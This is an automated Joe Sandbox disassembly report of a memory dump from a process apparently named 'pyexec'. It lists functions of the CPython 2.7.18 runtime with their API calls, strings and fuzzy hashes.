Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Object_$CallErr_ErrorFatalFormatInt_Long
String ID: GC object already tracked$P&0l$P&0l$comparison function must return int, not %.200s
API String ID: 2801527718-1102876012
Opcode ID: afb8041e18fdd4f43802d12abb1ea8c04cae8b98a3f9db0ef73e27f05415cc21
Instruction ID: cbd1cb91a07ef2db2d8a67a480e7d359683ebbafa0df39e481efb2d28540aaa8
Opcode Fuzzy Hash: afb8041e18fdd4f43802d12abb1ea8c04cae8b98a3f9db0ef73e27f05415cc21
Instruction Fuzzy Hash: A431E3F6A40A119FC320CF28D841A66B3F4EF55334B218769D83987B80E774E966CBD1

Function 6C0B1D00 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 97COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON27(?,i:getrandbits,?), ref: 6C0B1D13
PyErr_SetString.PYTHON27(6C2E5D10,number of bits must be greater than zero), ref: 6C0B1D32
malloc.MSVCR90 ref: 6C0B1D6A
PyErr_NoMemory.PYTHON27 ref: 6C0B1D79
_PyLong_FromByteArray.PYTHON27(00000000,?,00000001,00000000), ref: 6C0B1DD9
free.MSVCR90 ref: 6C0B1DE1

Strings

, xrefs: 6C0B1DC4
i:getrandbits, xrefs: 6C0B1D0D
number of bits must be greater than zero, xrefs: 6C0B1D2C

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_$Arg_ArrayByteFromLong_MemoryParseStringTuplefreemalloc
String ID: $i:getrandbits$number of bits must be greater than zero
API String ID: 161777060-1220404624
Opcode ID: 1c76ca97622e48e44659e249e0a12d57e5c82a84001b212e80d7880495622f8b
Instruction ID: 523237c351de908647764497944c3b6e0f041b0c1c784cf140eed52fbd040f8f
Opcode Fuzzy Hash: 1c76ca97622e48e44659e249e0a12d57e5c82a84001b212e80d7880495622f8b
Instruction Fuzzy Hash: 3F216B77B002046BDF10CAB9AC8079E77FADBD1214F144668ED08E7741EA72EA45C390

Function 6C14FFE0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 83COMMON

Download Yara Rule

APIs

PyType_IsSubtype.PYTHON27(?,?), ref: 6C150006
PyObject_GetAttrString.PYTHON27(?,softspace), ref: 6C15001D
PyErr_Clear.PYTHON27 ref: 6C15002B
PyInt_AsLong.PYTHON27(00000000), ref: 6C15003F
PyInt_FromLong.PYTHON27(?), ref: 6C15005E
PyErr_Clear.PYTHON27 ref: 6C15006C
PyObject_SetAttrString.PYTHON27(?,softspace,00000000), ref: 6C15007F
PyErr_Clear.PYTHON27 ref: 6C15008B

Strings

softspace, xrefs: 6C150017, 6C150079

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: ClearErr_$AttrInt_LongObject_String$FromSubtypeType_
String ID: softspace
API String ID: 3854672287-2976471430
Opcode ID: 19547a5701388ff4aa5b0c98574d06454c5796976bb761f86a207a4c032b580d
Instruction ID: ffeb8eb29214932efd7cec925f5b667a0f64d2d794da686bb365bd430fad0e6f
Opcode Fuzzy Hash: 19547a5701388ff4aa5b0c98574d06454c5796976bb761f86a207a4c032b580d
Instruction Fuzzy Hash: AD210BF66016411BC6104AE5AC80ADBB3A89F512BCB544729FC6C87F40D339E966C2D1

Function 6C1E8570 Relevance: 15.8, APIs: 1, Strings: 8, Instructions: 38COMMON

Download Yara Rule

APIs

PyOS_snprintf.PYTHON27(6C322580,0000004C,%s%s%s, %.20s, %.9s,v2.7.18,6C293E4C,8d21aa21f2,Apr 20 2020,13:19:08,6C0AA724,[MSC v.1500 32 bit (Intel)]), ref: 6C1E85DE

Strings

undefined, xrefs: 6C1E8570
%s%s%s, %.20s, %.9s, xrefs: 6C1E85D2
8d21aa21f2, xrefs: 6C1E85C7
tags/v2.7.18^0, xrefs: 6C1E85AE
default, xrefs: 6C1E85B8, 6C1E85D1
v2.7.18, xrefs: 6C1E8575, 6C1E85A7
13:19:08, xrefs: 6C1E85BD
Apr 20 2020, xrefs: 6C1E85C2

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: S_snprintf
String ID: %s%s%s, %.20s, %.9s$13:19:08$8d21aa21f2$Apr 20 2020$default$tags/v2.7.18^0$undefined$v2.7.18
API String ID: 2260853251-2313236023
Opcode ID: 4767cb13cdd82d67589af8838821be3cc043057cd50a95836848e7d5c68b2517
Instruction ID: c996a43803b1a2ea7245a03bf88b5b41662505ba2476dee5edfc7b87428b5c13
Opcode Fuzzy Hash: 4767cb13cdd82d67589af8838821be3cc043057cd50a95836848e7d5c68b2517
Instruction Fuzzy Hash: 58F0F60061864857E701493C1CF2F62AE520F2E1ACF8C0A96ED54FFE42EA3BC448C345

Function 6C0AF090 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 34COMMON

Download Yara Rule

APIs

PyType_Ready.PYTHON27(6C30B7F8), ref: 6C0AF095
PyType_Ready.PYTHON27(6C30B8E8), ref: 6C0AF0A6
Py_InitModule4.PYTHON27(_json,6C30B9AC,json speedups,00000000,000003F5), ref: 6C0AF0C9
PyModule_AddObject.PYTHON27(00000000,make_scanner,6C30B7F8), ref: 6C0AF0E8

Part of subcall function 6C1CEC70: PyType_IsSubtype.PYTHON27(?,?,?,?,6C0A57F9,00000000,deque,6C30FF60), ref: 6C1CEC87
Part of subcall function 6C1CEC70: PyErr_SetString.PYTHON27(6C2E48B0,PyModule_AddObject() needs module as first arg,deque,6C30FF60), ref: 6C1CEC9E

PyModule_AddObject.PYTHON27(00000000,make_encoder,6C30B8E8,00000000,make_scanner,6C30B7F8), ref: 6C0AF0FE

Part of subcall function 6C1CEC70: PyErr_SetString.PYTHON27(6C2E48B0,PyModule_AddObject() needs non-NULL value,00000000,?,?,6C0A57F9,00000000,deque,6C30FF60), ref: 6C1CECCB

Strings

make_encoder, xrefs: 6C0AF0F8
json speedups, xrefs: 6C0AF0BA
make_scanner, xrefs: 6C0AF0E2
_json, xrefs: 6C0AF0C4

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Type_$Err_Module_ObjectReadyString$InitModule4Subtype
String ID: _json$json speedups$make_encoder$make_scanner
API String ID: 2050293671-368859247
Opcode ID: 878550ed976ed0409f155b0df0096ac518cb1855da2b28d876d66948174c1955
Instruction ID: 68269d0dfc54acfdc2080e4d7cf55599610cb4d384d8988b5e460a3e078adea8
Opcode Fuzzy Hash: 878550ed976ed0409f155b0df0096ac518cb1855da2b28d876d66948174c1955
Instruction Fuzzy Hash: 1FF06563B8191277D11032955C06FAB24E8AF5594DF401861FC35ADE13EB0892554AEB

Function 6C15A130 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 264COMMON

Download Yara Rule

APIs

malloc.MSVCR90 ref: 6C15A290
PyErr_NoMemory.PYTHON27 ref: 6C15A2A1
free.MSVCR90 ref: 6C15A2B3
memcpy.MSVCR90(?,?,?), ref: 6C15A2F5
memmove.MSVCR90(?,?,?), ref: 6C15A31D
memmove.MSVCR90(?,?,?), ref: 6C15A373

Strings

can only assign an iterable, xrefs: 6C15A1B9

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: memmove$Err_Memoryfreemallocmemcpy
String ID: can only assign an iterable
API String ID: 2548301024-3323104
Opcode ID: e8c488d2e91c825dc6e0fb7c5bae67b7e24d86fd355bf7bce43ba5a0c1ed7469
Instruction ID: c968d7fecda985d57a0a55bb32db170aa67f42d160b8b81196192a6cb684636e
Opcode Fuzzy Hash: e8c488d2e91c825dc6e0fb7c5bae67b7e24d86fd355bf7bce43ba5a0c1ed7469
Instruction Fuzzy Hash: 469106B16442018FCB00CF68C88096AB3F5FFC5328F548669E879CB741E735E926CBA1

Function 6C166C20 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 193COMMON

Download Yara Rule

APIs

PyUnicodeUCS2_AsEncodedString.PYTHON27(?,00000000,00000000), ref: 6C166C55
PyErr_Format.PYTHON27(6C2E48B0,attribute name must be string, not '%.200s',?), ref: 6C166C7B
PyType_Ready.PYTHON27(?), ref: 6C166C9C
_PyType_Lookup.PYTHON27(?,?), ref: 6C166CAE
PyDict_GetItem.PYTHON27(?,?), ref: 6C166D52

Strings

'%.50s' object has no attribute '%.400s', xrefs: 6C166DE0
attribute name must be string, not '%.200s', xrefs: 6C166C75

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Type_$Dict_EncodedErr_FormatItemLookupReadyStringUnicode
String ID: '%.50s' object has no attribute '%.400s'$attribute name must be string, not '%.200s'
API String ID: 2490400702-3798209010
Opcode ID: 05b304608884c20d97acc80b2e12d1b72999fa97be464e0c21987b71614dca47
Instruction ID: 4c5cbf478806025669fc773fe6de11d2d87be49a3aff56c84e9c70d7feb1c99e
Opcode Fuzzy Hash: 05b304608884c20d97acc80b2e12d1b72999fa97be464e0c21987b71614dca47
Instruction Fuzzy Hash: 4261C471A015099BD704CF15D881BAAB3B4EF95328F258369EC68CBB81D734ED62CBD1

Function 6C0A65D0 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 191COMMON

Download Yara Rule

APIs

Part of subcall function 6C0A64F0: Py_FatalError.PYTHON27(GC object already tracked), ref: 6C0A6560

PyString_AsStringAndSize.PYTHON27(00000000,?,?), ref: 6C0A662A
PyString_AsStringAndSize.PYTHON27(00000000,?,?), ref: 6C0A6656
PyErr_GivenExceptionMatches.PYTHON27(?,6C2E4978), ref: 6C0A66F7
PyErr_Clear.PYTHON27 ref: 6C0A6703
PyErr_SetString.PYTHON27(00000000,unexpected end of data), ref: 6C0A673D
PyErr_Format.PYTHON27(00000000,line contains NUL), ref: 6C0A6790

Strings

line contains NUL, xrefs: 6C0A678A
unexpected end of data, xrefs: 6C0A6737

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_$String$SizeString_$ClearErrorExceptionFatalFormatGivenMatches
String ID: line contains NUL$unexpected end of data
API String ID: 2960452433-1196342961
Opcode ID: d7b569347d88d00eeaf18a6576d6963c5a9a4a612a2a3b96e5dcbddb5af7638a
Instruction ID: f49fcbc2efa145089abba4ae27107590a347f45edf527dce53af02cbbb1f9c93
Opcode Fuzzy Hash: d7b569347d88d00eeaf18a6576d6963c5a9a4a612a2a3b96e5dcbddb5af7638a
Instruction Fuzzy Hash: BB51B6766042018BD700DEEDD840B9A77F8AF84338F144668ED68CBB52D731E95ACBD2

Function 6C164E20 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 161COMMON

Download Yara Rule

APIs

PyErr_WarnEx.PYTHON27(6C2E6B30,__methods__ not supported in 3.x,00000001), ref: 6C164E85
PyString_FromString.PYTHON27(?), ref: 6C164EE7
PyString_FromString.PYTHON27(?), ref: 6C164F55
PyErr_SetObject.PYTHON27(6C2E55C0,00000000), ref: 6C164F61
PyCFunction_NewEx.PYTHON27(?,?,00000000), ref: 6C164F8E

Strings

__methods__, xrefs: 6C164E40
__methods__ not supported in 3.x, xrefs: 6C164E7F
__doc__, xrefs: 6C164EA4

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_FromStringString_$Function_ObjectWarn
String ID: __doc__$__methods__$__methods__ not supported in 3.x
API String ID: 2564561678-680540298
Opcode ID: b9cce1eedf7b6563dea776ec8df9f104617acd91e2e4899e25aa79a2196df851
Instruction ID: 2943f5f1dfe2c4752b6e5b3cb100dda5cdd62f248a526a05b8109536a1ac3b46
Opcode Fuzzy Hash: b9cce1eedf7b6563dea776ec8df9f104617acd91e2e4899e25aa79a2196df851
Instruction Fuzzy Hash: F841FA667081404BC712CE3F68B16A277A69F6326CB5D43E5DC98CBF82E717D42AC390

Function 6C0B6490 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 139COMMON

Download Yara Rule

APIs

PySequence_GetSlice.PYTHON27(?,00000000,00000000), ref: 6C0B649F

Part of subcall function 6C12E3E0: PyErr_SetString.PYTHON27(6C2E65C8,null argument to internal routine), ref: 6C12E401

PyObject_GetAttrString.PYTHON27(00000000,join), ref: 6C0B64D6
_PyObject_GC_NewVar.PYTHON27(?,00000001), ref: 6C0B6526

Part of subcall function 6C0DBAA0: _PyObject_GC_Malloc.PYTHON27(?), ref: 6C0DBABC

Py_FatalError.PYTHON27(GC object already tracked), ref: 6C0B654A
PyEval_CallObjectWithKeywords.PYTHON27(00000000,00000000,00000000), ref: 6C0B6582

Strings

join, xrefs: 6C0B64D0
P&0l, xrefs: 6C0B6562, 6C0B656B, 6C0B6579
GC object already tracked, xrefs: 6C0B6545

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Object_$String$AttrCallErr_ErrorEval_FatalKeywordsMallocObjectSequence_SliceWith
String ID: GC object already tracked$P&0l$join
API String ID: 1422419863-4085088701
Opcode ID: efeb6d63b8f594abd811fdbf65f833f61b92fbd45ce641951159d6ec7b319e1f
Instruction ID: d35e9e757eb008286e448d5f357cdd7651f14bfb382c7d76a3811b2742a9a4f1
Opcode Fuzzy Hash: efeb6d63b8f594abd811fdbf65f833f61b92fbd45ce641951159d6ec7b319e1f
Instruction Fuzzy Hash: E741B1B2A006009FD718CF64DC81B96B3E4EB45334F148369D9298BB81D736E856CBD1

Function 6C0B5CF0 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON27(6C2E48B0,buffer has negative size), ref: 6C0B5D7C

Strings

expected string or buffer, xrefs: 6C0B5DEA
buffer has negative size, xrefs: 6C0B5D76
buffer size mismatch, xrefs: 6C0B5DB5

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_String
String ID: buffer has negative size$buffer size mismatch$expected string or buffer
API String ID: 1450464846-3209885078
Opcode ID: fb049e5e49aa6c47416763aa1aa99670423a8d5f52b4d5abe7e229c13ce7bc8e
Instruction ID: ff69a5b07ef345e8696727a5cc34753ad10aa5fdf87f7330146540954ea96863
Opcode Fuzzy Hash: fb049e5e49aa6c47416763aa1aa99670423a8d5f52b4d5abe7e229c13ce7bc8e
Instruction Fuzzy Hash: F831C93A6016045FDB10DE5CE845B9A73E4DF85224F1447AAEC2CDBB80E732E955CBD1

Function 6C1676A0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 115COMMON

Download Yara Rule

APIs

PyObject_GetAttrString.PYTHON27(?,__dir__,?,?,?,6C1677F7), ref: 6C1676B9
PyErr_GivenExceptionMatches.PYTHON27(?,6C2E55C0), ref: 6C1676DB
PyErr_Clear.PYTHON27 ref: 6C1676E7

Part of subcall function 6C1674E0: PyDict_New.PYTHON27(?,6C2E9E88,?,6C167758,?), ref: 6C1674E7
Part of subcall function 6C1674E0: PyDict_Keys.PYTHON27(00000000), ref: 6C167504

PyType_IsSubtype.PYTHON27(6C2E9E88,?,?,?,?,?,?,?,?,?,6C1677F7), ref: 6C167728
PyObject_CallFunctionObjArgs.PYTHON27(00000000,00000000,?,?,?,?,?,?,?,?,6C1677F7), ref: 6C167773
PyErr_Format.PYTHON27(6C2E48B0,__dir__() must return a list, not %.200s,?), ref: 6C1677B1

Strings

__dir__() must return a list, not %.200s, xrefs: 6C1677AB
__dir__, xrefs: 6C1676B3, 6C1676FB

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_$Dict_Object_$ArgsAttrCallClearExceptionFormatFunctionGivenKeysMatchesStringSubtypeType_
String ID: __dir__$__dir__() must return a list, not %.200s
API String ID: 875330717-2214674259
Opcode ID: fa2533089a06ed736d978827a0e7265b96619ca239a7f315c4b4fbf085ea16ee
Instruction ID: 170bcfc5eeec3e5c647777148d863cffa3baa05feba19d6f062eb92628c73ae2
Opcode Fuzzy Hash: fa2533089a06ed736d978827a0e7265b96619ca239a7f315c4b4fbf085ea16ee
Instruction Fuzzy Hash: 4A316977B002011BD610966AAD45B96F3699B90379F1A036BEC2887F40FF25EC36C2D1

Function 6C157140 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

PyLong_AsLong.PYTHON27(00000000), ref: 6C157187
PyString_FromString.PYTHON27(an integer is required,?,00000000,?,6C1572FD,00000000,?,6C12D745,00000000,?,00000000), ref: 6C15722C
PyErr_SetObject.PYTHON27(6C2E48B0,00000000,?,00000000), ref: 6C157238

Strings

__int__ method should return an integer, xrefs: 6C1571F1
an integer is required, xrefs: 6C157227
x.l, xrefs: 6C15717F

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_FromLongLong_ObjectStringString_
String ID: __int__ method should return an integer$an integer is required$x.l
API String ID: 3725047433-1641784248
Opcode ID: 38e6dd2ef582536cceec6c335bbbc127d010f2939e48422c87c9c1ed43a11bd7
Instruction ID: 28fcac27046a1714b92736b3abebcb6c27a8d6927cb5eec5077fa8c171976c45
Opcode Fuzzy Hash: 38e6dd2ef582536cceec6c335bbbc127d010f2939e48422c87c9c1ed43a11bd7
Instruction Fuzzy Hash: 0D312CB6B1150107D210DD6EFC42A9A7394EF91334B14836AED398BBC0EB21E966C7D2

Function 6C12BC70 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 97COMMON

Download Yara Rule

APIs

PyBuffer_IsContiguous.PYTHON27(?,?), ref: 6C12BC87
memcpy.MSVCR90(00000000,?,?), ref: 6C12BC9E
malloc.MSVCR90 ref: 6C12BCC4
PyErr_NoMemory.PYTHON27 ref: 6C12BCD3
PyBuffer_GetPointer.PYTHON27(?,00000000,?,?,?,?), ref: 6C12BD2D
memcpy.MSVCR90(00000000), ref: 6C12BD36
free.MSVCR90 ref: 6C12BD54

Strings

F, xrefs: 6C12BCFD

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
